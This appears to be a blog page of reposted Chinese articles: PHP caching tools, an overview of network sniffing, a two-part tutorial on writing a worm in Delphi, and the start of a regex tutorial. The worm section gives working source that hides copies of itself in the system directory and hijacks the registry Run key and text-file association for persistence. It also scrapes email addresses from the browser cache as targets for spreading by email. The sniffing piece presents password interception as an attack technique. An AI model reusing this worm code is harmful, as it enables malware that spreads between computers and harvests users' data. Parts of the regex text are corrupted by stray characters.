以上我们都是利用优化代码的方法对程序进行提速,接着我们要关注一下PHP加速的另一个领域—缓存工具软件。这类软件都是从优化 PHP运行环境来提速的,不需要改变任何代码。我们可以大概地将它们称为“执行码优化/缓存工具”,你可以理解为它们用来实现比较底层的优化/缓存。

以下列出目前比较常用的此类工具,具体哪种效果最好,请用自己的服务器环境测试:

(一)APC Alternative PHP Cache http://apc.communityconnect.com/

APC运行于Linux和FreeBSD,你需要自己编译安装。按照其 开发人员的说法,在他们的测试环境下可以提高脚本速度50%-400%。并且APC是个开源项目,已经加入了PHP的PECL库,很值得一试。

(二)Turck MMCache http://turck-mmcache.sourceforge.net/

Turck MMCache似乎是此类软件中目前最受欢迎的一种,它开放源代码,完全免费。它将PHP代码预编译并缓存起来,同时也对PHP运行环境进行一定优化。按 照其官方文档的说法,MMCache可以明显地减轻服务器的负载,并提高脚本执行速度1-10倍。

MMCache与另一个知名的加速软件Zend Optimizer兼容,但注意必需先安装MMCache(php.ini中设置)。除了加快PHP程序的速度,MMCache还可以将PHP代码加密。

Turck MMCache同时支持Linux和Win32平台。

(三)PHPA the PHP Accelerator http://www.php-accelerator/

PHPA又是另一个流行的PHP加速软件。在其官方网站上有分别使用 PHPA与APC、Zend Cache的PHP脚本执行测试对比,其表现略优于APC,略逊于Zend Cache。PHPA支持Linux, FreeBSD, OpenBSD, BSDi和Solaris系统.

(四)Zend Performance Suite http://www.zend.com/Zend Performance Suite是老牌的PHP加速/优化软件,依托于PHP领域最知名的Zend公司。目前已经推出4.0版本,它可以为PHP应用提供程序加速,内容缓存, 文件压缩,下载服务等,功能十分强大,获得好几个PHP杂志的推荐奖—但是不得不提起,它也很昂贵,目前的价格是1875美元。以上几种加速软件,希望读 者按照服务器环境自行测试并选择其中最适用的,因为我没有办法提供一个普遍适用的测试标准来判断哪种方案是最有效的。综合起来看,我个人认为Turck MMCache是个值得推荐的选择,免费而且功能相当出色。

总结:以上从多个角度较为全面细致地阐述了PHP加速的相关技术,包括测试技术,加速技术 (压缩,缓存等),基本上都有附代码和范例。希望本文有助于读者全面了解PHP程序加速并在实际应用中选择合适的加速方案。

 

网络监听技术概览/zz/

在网络中,当信息进行传播的时候,可以利用工具,将网络接口设置在监听的模式,便可将网络中正在传播的信息截获或者捕获到,从而进行攻击。网络监听在网络 中的任何一个位置模式下都可实施进行。而黑客一般都是利用网络监听来截取用户口令。比如当有人占领了一台主机之后,那么他要再想将战果扩大到这个主机所在 的整个局域网话,监听往往是他们选择的捷径。很多时候我在各类安全论坛上看到一些初学的爱好者,在他们认为如果占领了某主机之后那么想进入它的内部网应该 是很简单的。其实非也,进入了某主机再想转入它的内部网络里的其它机器也都不是一件容易的事情。因为你除了要拿到他们的口令之外还有就是他们共享的绝对路 径,当然了,这个路径的尽头必须是有写的权限了。在这个时候,运行已经被控制的主机上的监听程序就会有大收效。不过却是一件费神的事情,而且还需要当事者 有足够的耐心和应变能力。
█网络监听的原理
Ethernet(以太网,它是由施乐公司发明的一种比较流行的局域网技术,它包含一条所 有计算机都连接到其上的一条电缆,每台计算机需要一种叫接口板的硬件才能连接到以太网)协议的工作方式是将要发送的数据包发往连接在一起的所有主机。在包 头中包括有应该接收数据包的主机的正确地址,因为只有与数据包中目标地址一致的那台主机才能接收到信息包,但是当主机工作在监听模式下的话不管数据包中的 目标物理地址是什么,主机都将可以接收到。许多局域网内有十几台甚至上百台主机是通过一个电缆、一个集线器连接在一起的,在协议的高层或者用户来看,当同 一网络中的两台主机通信的时候,源主机将写有目的的主机地址的数据包直接发向目的主机,或者当网络中的一台主机同外界的主机通信时,源主机将写有目的的主 机IP地址的数据包发向网关。但这种数据包并不能在协议栈的高层直接发送出去,要发送的数据包必须从TCP/IP协议的IP层交给网络接口,也就是所说的 数据链路层.网络接口不会识别IP地址的。在网络接口由IP层来的带有IP地址的数据包又增加了一部分以太祯的祯头的信息。在祯头中,有两个域分别为只有 网络接口才能识别的源主机和目的主机的物理地址这是一个48位的地址,这个48位的地址是与IP地址相对应的,换句话说就是一个IP地址也会对应一个物理 地址。对于作为网关的主机,由于它连接了多个网络,它也就同时具备有很多个IP地址,在每个网络中它都有一个。而发向网络外的祯中继携带的就是网关的物理 地址。
Ethernet中填写了物理地址的祯从网络接口中,也就是从网卡中发送出去传送到物理的线路上。如果局域网是由一条粗网或细网连接成 的,那么数字信号在电缆上传输信号就能够到达线路上的每一台主机。再当使用集线器的时候,发送出去的信号到达集线器,由集线器再发向连接在集线器上的每一 条线路。这样在物理线路上传输的数字信号也就能到达连接在集线器上的每个主机了。当数字信号到达一台主机的网络接口时,正常状态下网络接口对读入数据祯进 行检查,如果数据祯中携带的物理地址是自己的或者物理地址是广播地址,那么就会将数据祯交给IP层软件。对于每个到达网络接口的数据祯都要进行这个过程 的。但是当主机工作在监听模式下的话,所有的数据祯都将被交给上层协议软件处理。
当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网的时候,那么要是有一台主机处于监听模式,它还将可以接收到发向与自己不在同一个子网(使用了不同的掩码、IP地址和网关)的主机的数据包,在同一个物理信道上传输的所有信息都可以被接收到。
在UNIX系统上,当拥有超级权限的用户要想使自己所控制的主机进入监听模式,只需要向Interface(网络接口)发送I/O控制命令,就可以使主机设置成监听模式了。而在Windows9x的系统中则不论用户是否有权限都将可以通过直接运行监听工具就可以实现了。
在 网络监听时,常常要保存大量的信息(也包含很多的垃圾信息),并将对收集的信息进行大量的整理,这样就会使正在监听的机器对其它用户的请求响应变的很慢。 同时监听程序在运行的时候需要消耗大量的处理器时间,如果在这个时候就详细的分析包中的内容,许多包就会来不及接收而被漏走。所以监听程序很多时候就会将 监听得到的包存放在文件中等待以后分析。分析监听到的数据包是很头疼的事情。因为网络中的数据包都非常之复杂。两台主机之间连续发送和接收数据包,在监听 到的结果中必然会加一些别的主机交互的数据包。监听程序将同一TCP会话的包整理到一起就相当不容易了,如果你还期望将用户详细信息整理出来就需要根据协 议对包进行大量的分析。Internet上那么多的协议,运行进起的话这个监听程序将会十分的大哦。
现在网络中所使用的协议都是较早前设计的, 许多协议的实现都是基于一种非常友好的,通信的双方充分信任的基础。在通常的网络环境之下,用户的信息包括口令都是以明文的方式在网上传输的,因此进行网 络监听从而获得用户信息并不是一件难点事情,只要掌握有初步的TCP/IP协议知识就可以轻松的监听到你想要的信息的。前些时间美籍华人China- babble曾提出将望路监听从局域网延伸到广域网中,但这个想法很快就被否定了。如果真是这样的话我想网络必将天下大乱了。而事实上现在在广域网里也可 以监听和截获到一些用户信息。只是还不够明显而已。在整个Internet中就更显得微不足道了。
下面是一些系统中的著名的监听程序,你可以自己尝试一下的。
Windows9x/NT NetXRay http://semxa.kstar.com/hacking/netxray.zip
DEC Unix/Linux Tcpdump http://semxa.kstar.com/hacking/management.zip
Solaris Nfswatch http://semxa.kstar.com/hacking/nfswatch.zip
SunOS Etherfind http://semxa.kstar.com/hacking/etherfind012.zip
█检测网络监听的方法
网络监听在上述中已经说明了。它是为了系统管理员管理网络,监视网络状态和数据流动而设计的。但是由于它有着截获网络数据的功能所以也是黑客所惯用的伎俩之一。
一般检测网络监听的方法通过以下来进行:
►网络监听说真的,是很难被发现的。当运行监听程序的主机在进听的过程中只是被动的接收在以太网中传输的信息,它不会跟其它的主机交换信息的,也不能修改在网络中传输的信息包。这就说明了网络监听的检测是比较麻烦的事情。
一般情况下可以通过ps-ef或者ps-aux来检测。但大多实施监听程序的人都会通过修改ps的命令来防止被ps-ef的。修改ps只需要几个shell把监听程序的名称过滤掉就OK了。一能做到启动监听程序的人也绝对不是个菜的连这个都不懂的人了,除非是他懒。
上边提到过。当运行监听程序的时候主机响应一般会受到影响变的会慢,所以也就有人提出来通过响应的速率来判断是否受到监听。如果真是这样判断的话我想世界真的会大乱了,说不准一个时间段内会发现无数个监听程序在运行呢。呵呵。
如 果说当你怀疑网内某太机器正在实施监听程序的话(怎么个怀疑?那要看你自己了),可以用正确的IP地址和错误的物理地址去ping它,这样正在运行的监听 程序就会做出响应的。这是因为正常的机器一般不接收错误的物理地址的ping信息的。但正在进听的机器就可以接收,要是它的IP stack不再次反向检查的话就会响应的。不过这种方法对很多系统是没效果的,因为它依赖于系统的IP stack。
另一种就是向网上发大量不 存在的物理地址的包,而监听程序往往就会将这些包进行处理,这样就会导致机器性能下降,你可以用icmp echo delay来判断和比较它。还可以通过搜索网内所有主机上运行的程序,但这样做其的难度可想而知,因为这样不但是大的工作量,而且还不能完全同时检查所有 主机上的进程。可是如果管理员这样做也会有很大的必要性,那就是可以确定是否有一个进程是从管理员机器上启动的。
在Unix中可以通过ps –aun或ps –augx命令产生一个包括所有进程的清单:进程的属主和这些进程占用的处理器时间和内存等。
这 些以标准表的形式输出在STDOUT上。如果某一个进程正在运行,那么它将会列在这张清单之中。但很多黑客在运行监听程序的时候会毫不客气的把ps或其它 运行中的程序修改成Trojan Horse程序,因为他完全可以做到这一点的。如果真是这样那么上述办法就不会有结果的。但这样做在一定程度上还是有所作为的。在Unix和 Windows NT上很容易就能得到当前进程的清单了。但DOS、
Windows9x好象很难做到哦,具体是不是我没测试过不得而知。
还有一种方式,这种方式要靠足够的运气。因为往往黑客所用的监听程序大都是免费在网上得到的,他并非专业监听。所以做为管理员用来搜索监听程序也可以检测。使用Unix可以写这么一个搜索的小工具了,不然的话要累死人的。呵呵。
有 个叫Ifstatus的运行在Unix下的工具,它可以识别出网络接口是否正处于调试状态下或者是在进听装下。要是网络接口运行这样的模式之下,那么很有 可能正在受到监听程序的攻击。Ifstatus一般情况下不会产生任何输出的,当它检测到网络的接口处于监听模式下的时候才回输出。管理员可以将系统的 cron参数设置成定期运行Ifstatus,如果有好的cron进程的话可以将它产生的输出用mail发送给正在执行cron任务的人,要实现可以在 crontab目录下加****/usr/local/etc/ifstatus一行参数。这样不行的话还可以用一个脚本程序在crontab下 00****/usr/local/etc/run-ifstatus。
抵御监听其实要看哪个方面了。一般情况下监听只是对用户口令信息比较敏 感一点(没有无聊的黑客去监听两台机器间的聊天信息的那是个浪费时间的事情)。所以对用户信息和口令信息进行加密是完全有必要的。防止以明文传输而被监听 到。现代网络中,SSH(一种在应用环境中提供保密通信的协议)通信协议一直都被沿用,SSH所使用的端口是22,它排除了在不安全信道上通信的信息,被 监听的可能性使用到了RAS算法,在授权过程结束后,所有的传输都用IDEA技术加密。但SSH并不就是完全安全的。至少现在我们可以这么大胆评论了。
█著名的Sniffer监听工具
Sniffer 之所以著名,权因它在很多方面都做的很好,它可以监听到(甚至是听、看到)网上传输的所有信息。Sniffer可以是硬件也可以是软件。主要用来接收在网 络上传输的信息。网络是可以运行在各种协议之下的,包括以太网Ethernet、TCP/IP、ZPX等等,也可以是集中协议的联合体系。
Sniffer是个非常之危险的东西,它可以截获口令,可以截获到本来是秘密的或者专用信道内的信息,截获到信用卡号,经济数据,E-mail等等。更加可以用来攻击与己相临的网络。
Sniffer可以使用在任何一种平台之中。而现在使用Sniffer也不可能别发现,这个足够是对网络安全的最严重的挑战。
在Sniffer中,还有“热心人”编写了它的Plugin,称为TOD杀手,可以将TCP的连接完全切断。总之Sniffer应该引起人们的重视,否则安全永远做不到最好。

浅谈用delphi来编写蠕虫病毒/zz/

浅谈用delphi来编写蠕虫病毒/zz/

作者:不详
出处:不详
//////////
前言:

可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦。

一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道,如果在uses里面加入forms,classes…..等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)

首先,我们知道,一个病毒程序一般都分下面三个模块:

①保护模块;

②感染模块;

③发作模块。

下面我们就从这三个模块开始,分别实现他们的代码。

一)保护模块。

一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%

那么,我们首先要取得这些特定的目录的路径

sdk里面给我们提供了一个这样的函数GetSystemDirectory

UINT GetSystemDirectory(

LPTSTR lpBuffer, // 存放返回的字符串的缓冲区

UINT uSize // 上面的缓冲去的长度

);

相关的函数还有GetWindowsDirectory可以得到%windows%的路径

得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile

BOOL CopyFile(

LPCTSTR lpExistingFileName, // 源文件的路径

LPCTSTR lpNewFileName, // 目标文件的路径

BOOL bFailIfExists // 这是一个标志,如果目标文件已经存在,是否强制覆盖

);

拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,

除非选取查看所有文件,以及显示受保护文件。

同样,介绍一个函数SetFileAttributes

BOOL SetFileAttributes(

LPCTSTR lpFileName, // 需要设置的文件的文件名

DWORD dwFileAttributes // 设置的值。

);

我们这里要设置为隐藏和系统,那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM

下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,

首先用RegOpenKey函数来打开一个键,

LONG RegOpenKey(

HKEY hKey, // 主键,比如HKEY_LOCAL_MACHINE

LPCTSTR lpSubKey, // 跟随的subkey

PHKEY phkResult // 存放函数返回这个打开的键的句柄

);

得到了HKEY后,就可以用regsetvalueex来向该键写具体的值了。

LONG RegSetValueEx(

HKEY hKey, // 这个就是刚才我们得到的句柄

LPCTSTR lpValueName, // 键名的地址

DWORD Reserved, // 一般设置为0

DWORD dwType, // 我们写的键的类型,字符串为REG_SZ

CONST BYTE *lpData, // 键值的地址

DWORD cbData // 写入的键值的长度

);

下面,我综合上面的说明来给出一个简短的例子:

procedure SelfCopy;

var

Path,Value:array [0..255] of char;

Hk:HKEY;

S:string;

begin

GetSystemDirectory(Path,256);

//取得系统的路径

s:=strpas(Path);

//转换成字符串

CopyFile(pchar(paramstr(0)),pchar(S+’\ruin.exe’),false);

CopyFile(pchar(paramstr(0)),pchar(S+’\virus_ruin.exe’),false);

//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe

SetFileAttributes(pchar(S+’\ruin.exe’),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

SetFileAttributes(pchar(S+’\virus_ruin.exe’),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

//设置刚才的两个文件为系统和隐藏

RegOpenKey(HKEY_CLASSES_ROOT,’txtfile\shell\open\command’,Hk);

Value:=’virus_ruin.exe %1′;

RegSetValueEx(Hk,”,0,REG_SZ,@Value,17);

//把virus_ruin.exe和文本文件关联

RegOpenKey(HKEY_LOCAL_MACHINE,’Software\Microsoft\Windows\CurrentVersion\Run’,Hk);

Value:=’ruin.exe’;

RegSetValueEx(Hk,’ruin’,0,REG_SZ,@Value,8);

//设置开机自动运行ruin.exe

end;

我们看上面的这个程序,就完成了自我复制,和开机自动运行,

并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激活。

不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,

并且进行自我保护。

如:

begin

if paramcount=1 then

shellexecute(0,’open’,’notepad.exe’,pchar(paramstr(1)),nil,sw_normal);

//其他的代码

这里,我只是给出一个简单的例子来描述出一个大概的思路,

很多地方还不完善,比如进程的隐藏,

你可以进行判断,

如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务启动,

或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini

或者……….

因为我这里只是浅谈,只给大家提供一个思路,

如果你要深入研究,推荐看看shotgun的《揭开木马的神秘面纱》。

{

注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大家包涵!

如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!

}

各位看官,我们接着上次的part Ⅰ 开始讲解!

上次我只是简单的讲解了如何进行简单的自我保护,也算是简单的完成了一个蠕虫病毒的自我保护了,

而蠕虫最重要的一个环节就是进行传染了,一般都是把自己做为邮件的附件发送出去,然后配合一些系

统的漏洞,比如mime漏洞,只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个

outlook的通讯薄里的用户,但是这样一来就不能自己控制发送的内容,也就是不能利用mime漏洞了,所以,

需要我们自己来手工的编写程序来解决这个问题。

那么就给我们编写程序提出了几个问题:

1)如何得到该电脑上的email地址。

2)如何用delphi来进行邮件的发送。(当然不能用控件了,所以只用winsock)

下面,我们首先来解决第一个问题。

一)得到电脑上的email地址

要得到电脑上的email地址,我想应该是可以从outlook的通讯薄直接得到,但是我才疏学浅,还没有搞定

这个问题,如果你有这方面的资料,还请你告诉我。于是,我们就换一种方法,我们来从IE的缓存中提取地址。

老惯例,文字不够用代码来凑,介绍几个函数:

function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;

function FindNext(var F: TSearchRec): Integer;

procedure FindClose(var F: TSearchRec);

上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的,不过既然delphi为我们提供了现成

的说明,我们就利用它好了,毕竟在delphi里使用起来也方便一些。根据上面的三个函数,我们了一个函数来

搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法,如果找到的文件是目录,并且不是”.”或者”..”就进行递归。

好,我们还是边看代码边解释。

procedure FindFiles(StartDir: string);

var

SR: TSearchRec; //用来储存返回的文件的一些数据

IsFound: Boolean;//做为一个标志

begin

IsFound :=FindFirst(StartDir+’*.htm’, faAnyFile-faDirectory, SR) = 0;

//在startdir里面查找htm文件

while IsFound do begin

//如果找到htm文件

GetEmailAddress(startdir+sr.Name);

//这里调用我们自己定义的函数,传递的参数是startdir+sr.name也就是该文件的绝对路径。

//注意,这里的函数 GetEmailAddress我们等一下再来描述

IsFound := FindNext(SR) = 0;

//继续查找htm文件,只到标志isfound为false

end;

FindClose(SR);

IsFound := FindFirst(StartDir+’*.*’, faAnyFile, SR) = 0;

//现在是查找所有的文件

while IsFound do begin

if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> ‘.’) then

findfiles(startdir+sr.Name+’\’);

//如果该文件是目录,并且不是”.”或者”..”,那么就在该目录里继续查找,也就是在这里递归了。

IsFound := FindNext(SR) = 0;

end;

FindClose(SR);

end;

ok,看到这里,我想聪明的你一定看到了我们的那个函数GetEmailAddress了,对了,我们就是不停的枚举

缓存中的所有文件,如果是htm文件,就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。

那下面的这个函数GetEmailAddress就很容易编写了。

我只说一说简单的原理,就是打开一个htm文件,

一次读一行文本,然后看是否有”mailto:”,

如果有,就把紧接着的字符读出来,只到出现非法字符。

不过有一点这个方法只能读作为连接的email地址,

不过也足够了。

好,大家看程序:

procedure GetEmailAddress(FileName:string);

var

F:textfile;

S:string;//用来装每次读一行的字符串

Address:string;//得到的email地址

i,Position:integer;

begin

AssignFile(F,FileName);

Reset(f);

while not Eof(f) do

begin

Address:=”;

//首先清空address

Readln(f,s);

//读取一行字符串到s中

Position:=Pos(‘mailto:’,S);

//查找首个”mailto:”在s中的地址,如果一行中含有多个”mailto:”则需要你自己修改修改

if Position > 0 then

begin

for i:=Position+7 to length(S) do

//这里position+7里的7表示”mailto:”的长度

begin

if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]=’.’) then

//判断是否有效字符

Address:=Address+S[i]

else

break;

end;

if (Address<>”) and (Pos(‘@’,Address)<>0) then

//如果是有效地址,就把它写到列表中去。

//但是,可能这个地址以前已经存在在这个列表中,

//所以我定义了一个函数WriteAddress来判断是否存在该地址

//如果不存在,就添加到地址列表中去。

WriteAddress(Address);

end;

end;

closefile(f);

end;

现在搜索email地址只剩下最后一道工序了,那就是上面的WriteAddress函数,

用来判断地址的有效性。这个很简单,

我也不打算用什么数据结构或者算法,只是用最简便的方法来实现。

程序代码如下:

procedure WriteAddress(Address:string);

var

F:textfile;

S,Str:string;

CanWrite:boolean;

Path:array[0..255] of char;

begin

GetSystemDirectory(path,256);

//首先取得系统目录,到时候把email地址列表文件保存到这里。

Str:=Strpas(Path);

CanWrite:=true;

AssignFile(F,Str+’\maillist.lst’);

if FileExists(Str+’\maillist.lst’)=false then

begin

//如果不存在maillist.lst,则信建一个文件maillist.lst来存放email地址。

Rewrite(F);

writeln(F,Address);

Closefile(F);

exit;

end else

begin

Reset(f);

while not Eof(F) do

begin

Readln(F,S);

if Address=S then

begin

CanWrite:=false;

break;

end;

end;

CloseFile(F);

end;

//上面用来和文件里以经存在的地址一个一个的进行效验,如果不存在就写到列表里去。

if CanWrite then

begin

Append(F);

Writeln(F,Address);

CloseFile(F);

end;

end;

当然,如同我们上面所说,我只是用最简便的方法来做,

如果你要讲究效率,当然可以进行一些改动,

比如说搜索到的地址来做一个堆,

最后把堆里所有的地址都写到列表里来就可以了。

好,现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了,

如下:

var

HK:HKEY;

IeCache:array[0..255] of char;

IeCacheLen:integer;

S:string;

begin

IeCacheLen:=256;

//设置返回值的长度

RegOpenKey(HKEY_CURRENT_USER,’Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\’,HK);

RegQueryValueEx(HK,’Cache’,nil,nil,@IeCache,@ieCacheLen);

//读取IE缓存的路径

S:=Strpas(IeCache)+’\’;

//在刚才取得的路径后面加一个’\’

FindFiles(S);

//调用我们自己写的函数

end;

调用完毕后,email地址就都保存在系统目录的maillist.lst文件中了。

 

深入浅出之正则表达式 /zz/

前言:

半年前我对正则表达式产生了兴趣,在网上查找过不少资料,看过不少的教程,最后在使用一个正则表达式工具RegexBuddy时发现他的教程写的非常好,可以说是我目前见过最好的正则表达式教程。于是一直想把他翻译过来。这个愿望直到这个五一长假才得以实现,结果就有了这篇文章。关于本文的名字,使用“深入浅出”似乎已经太俗。但是通读原文以后,觉得只有用“深入浅出”才能准确的表达出该教程给我的感受,所以也就不能免俗了。

本文是Jan Goyvaerts为RegexBuddy写的教程的译文,版权归原作者所有,欢迎转载。但是为了尊重原作者和译者的劳动,请注明出处!谢谢!

1.什么是正则表达式

基本说来,正则表达式是一种用来描述一定数量文本的模式。Regex代表Regular Express。本文将用<<regex>>来表示一段具体的正则表达式。

一段文本就是最基本的模式,简单的匹配相同的文本。

2.不同的正则表达式引擎

正则表达式引擎是一种可以处理正则表达式的软件。通常,引擎是更大的应用程序的一部分。在软件世界,不同的正则表达式并不互相兼容。本教程会集中讨论Perl 5 类型的引擎,因为这种引擎是应用最广泛的引擎。同时我们也会提到一些和其他引103f擎的区别。许多近代的引擎都很类似,但不完全一样。例如.NET正则库,JDK正则包。

3.文字符号

最基本的正则表达式由单个文字符号组成。如<<a>>,它将匹配字符串中第一次出现的字符“a”。如对字符串“Jack is a boy”。“J”后的“a”将被匹配。而第二个“a”将不会被匹配。

正则表达式也可以匹配第二个“a”,这必须是你告诉正则表达式引擎从第一次匹配的地方开始搜索。在文本编辑器中,你可以使用“查找下一个”。在编程语言中,会有一个函数可以使你从前一次匹配的位置开始继续向后搜索。

类似的,<<cat>>会匹配“About cats and dogs”中的“cat”。这等于是告诉正则表达式引擎,找到一个<<c>>,紧跟一个<<a>>,再跟一个<<t>>。

要注意,正则表达式引擎缺省是大小写敏感的。除非你告诉引擎忽略大小写,否则<<cat>>不会匹配“Cat”。

· 特殊字符

对于文字字符,有11个字符被保留作特殊用途。他们是:

[ ] \ ^ $ . | ? * + ( )

这些特殊字符也被称作元字符。

如果你想在正则表达式中将这些字符用作文本字符,你需要用反斜杠“\”对其进行换码 (escape)。例如你想匹配“1+1=2”,正确的表达式为<<1\+1=2>>.

需要注意的是,<<1+1=2>>也是有效的正则表达式。但它不会匹配“1+1=2”,而会匹配“123+111=234”中的“111=2”。因为“+”在这里表示特殊含义(重复1次到多次)。

在编程语言中,要注意,一些特殊的字符会先被编译器处理,然后再传递给正则引擎。因此正则表达式<<1\+2=2>>在C++中要写成“1\\+1=2”。为了匹配“C:\temp”,你要用正则表达式<<C:\\temp>>。而在C++中,正则表达式则变成了“C:\\\\temp”。

·不可显示字符

可以使用特殊字符序列来代表某些不可显示字符:

<<\t>>代表Tab(0x09)

<<\r>>代表回车符(0x0D)

<<\n>>代表换行符(0x0A)

要注意的是Windows中文本文件使用“\r\n”来结束一行而Unix使用“\n”。

4.正则表达式引擎的内部工作机制

知道正则表达式引擎是如何工作的有助于你很快理解为何某个正则表达式不像你期望的那样工作。

有两种类型的引擎:文本导向(text-directed)的引擎和正则导向(regex-directed)的引擎。Jeffrey Friedl把他们称作DFA和NFA引擎。本文谈到的是正则导向的引擎。这是因为一些非常有用的特性,如“惰性”量词(lazy quantifiers)和反向引用(backreferences),只能在正则导向的引擎中实现。所以毫不意外这种引擎是目前最流行的引擎。

你可以轻易分辨出所使用的引擎是文本导向还是正则导向。如果反向引用或“惰性”量词被实现,则可以肯定你使用的引擎是正则导向的。你可以作如下测试:将正则表达式<<regex|regex not>>应用到字符串“regex not”。如果匹配的结果是regex,则引擎是正则导向的。如果结果是regex not,则是文本导向的。因为正则导向的引擎是“猴急”的,它会很急切的进行表功,报告它找到的第一个匹配 。

·正则导向的引擎总是返回最左边的匹配

这是需要你理解的很重要的一点:即使以后有可能发现一个“更好”的匹配,正则导向的引擎也总是返回最左边的匹配。

当把<<cat>>应用到“He captured a catfish for his cat”,引擎先比较<<c>>和“H”,结果失败了。于是引擎103f再比较<<c>>和“e”,也失败了。直到第四个字符,<<c>>匹配了“c”。<<a>>匹配了第五个字符。到第六个字符<<t>>没能匹配“p”,也失败了。引擎再继续从第五个字符重新检查匹配性。直到第十五个字符开始,<<cat>>匹配上了“catfish”中的“cat”,正则表达式引擎急切的返回第一个匹配的结果,而不会再继续查找是否有其他更好的匹配。

5.字符集

字符集是由一对方括号“[]”括起来的字符集合。使用字符集,你可以告诉正则表达式引擎仅仅匹配多个字符中的一个。如果你想匹配一个“a”或一个“e”,使用<<[ae]>>。你可以使用<<gr[ae]y>>匹配gray或grey。这在你不确定你要搜索的字符是采用美国英语还是英国英语时特别有用。相反,<<gr[ae]y>>将不会匹配graay或graey。字符集中的字符顺序并没有什么关系,结果都是相同的。

你可以使用连字符“-”定义一个字符范围作为字符集。<<[0-9]>>匹配0到9之间的单个数字。你可以使用不止一个范围。<<[0-9a-fA-F] >>匹配单个的十六进制数字,并且大小写不敏感。你也可以结合范围定义与单个字符定义。<<[0-9a-fxA-FX]>>匹配一个十六进制数字或字母X。再次强调一下,字符和范围定义的先后顺序对结果没有影响。

·字符集的一些应用

查找一个可能有拼写错误的单词,比如<<sep[ae]r[ae]te>> 或 <<li[cs]en[cs]e>>。

查找程序语言的标识符,<<A-Za-z_][A-Za-z_0-9]*>>。(*表示重复0或多次)

查找C风格的十六进制数<<0[xX][A-Fa-f0-9]+>>。(+表示重复一次或多次)

·取反字符集

在左方括号“[”后面紧跟一个尖括号“^”,将会对字符集取反。结果是字符集将匹配任何不在方括号中的字符。不像“.”,取反字符集是可以匹配回车换行符的。

需要记住的很重要的一点是,取反字符集必须要匹配一个字符。<<q[^u]>>并不意味着:匹配一个q,后面没有u跟着。它意味着:匹配一个q,后面跟着一个不是u的字符。所以它不会匹配“Iraq”中的q,而会匹配“Iraq is a country”中的q和一个空格符。事实上,空格符是匹配中的一部分,因为它是一个“不是u的字符”。

如果你只想匹配一个q,条件是q后面有一个不是u的字符,我们可以用后面将讲到的向前查看来解决。

·字符集中的元字符

需要注意的是,在字符集中只有4个 字符具有特殊含义。它们是:“] \ ^ -”。“]”代表字符集定义的结束;“\”代表转义;“^”代表取反;“-”代表范围定义。其他常见的元字符在字符集定义内部都是正常字符,不需要转义。例如,要搜索星号*或加号+,你可以用<<[+*]>>。当然,如果你对那些通常的元字符进行转义,你的正则表达式一样会工作得很好,但是这会降低可读性。

在字符集定义中为了将反斜杠“\”作为一个文字字符而非特殊含义的字符,你需要用另一个反斜杠对它进行转义。<<[\\x]>>将会匹配一个反斜杠和一个X。“]^-”都可以用反斜杠进行转义,或者将他们放在一个不可能使用到他们特殊含义的位置。我们推荐后者,因为这样可以增加可读性。比如对于字符“^”,将它放在除了左括号“[”后面的位置,使用的都是文字字符含义而非取反含义。如<<[x^]>>会匹配一个x或^。<<[]x]>>会匹配一个“]”或“x”。<<[-x]>>或<<[x-]&g103ft;>都会匹配一个“-”或“x”。

·字符集的简写

因为一些字符集非常常用,所以有一些简写方式。

<<\d>>代表<<[0-9]>>;

<<\w>>代表单词字符。这个是随正则表达式实现的不同而有些差异。绝大多数的正则表达式实现的单词字符集都包含了<<A-Za-z0-9_]>>。

<<\s>>代表“白字符”。这个也是和不同的实现有关的。在绝大多数的实现中,都包含了空格符和Tab符,以及回车换行符<<\r\n>>。

字符集的缩写形式可以用在方括号之内或之外。<<\s\d>>匹配一个白字符后面紧跟一个数字。<<[\s\d]>>匹配单个白字符或数字。<<[\da-fA-F]>>将匹配一个十六进制数字。

取反字符集的简写

<<[\S]>> = <<[^\s]>>

<<[\W]>> = <<[^\w]>>

<<[\D]>> = <<[^\d]>>

·字符集的重复

如果你用“?*+”操作符来重复一个字符集,你将会重复整个字符集。而不仅是它匹配的那个字符。正则表达式<<[0-9]+>>会匹配837以及222。

如果你仅仅想重复被匹配的那个字符,可以用向后引用达到目的。我们以后将讲到向后引用。

6.使用?*或+ 进行重复

?:告诉引擎匹配前导字符0次或一次。事实上是表示前导字符是可选的。

+:告诉引擎匹配前导字符1次或多次

*:告诉引擎匹配前导字符0次或多次

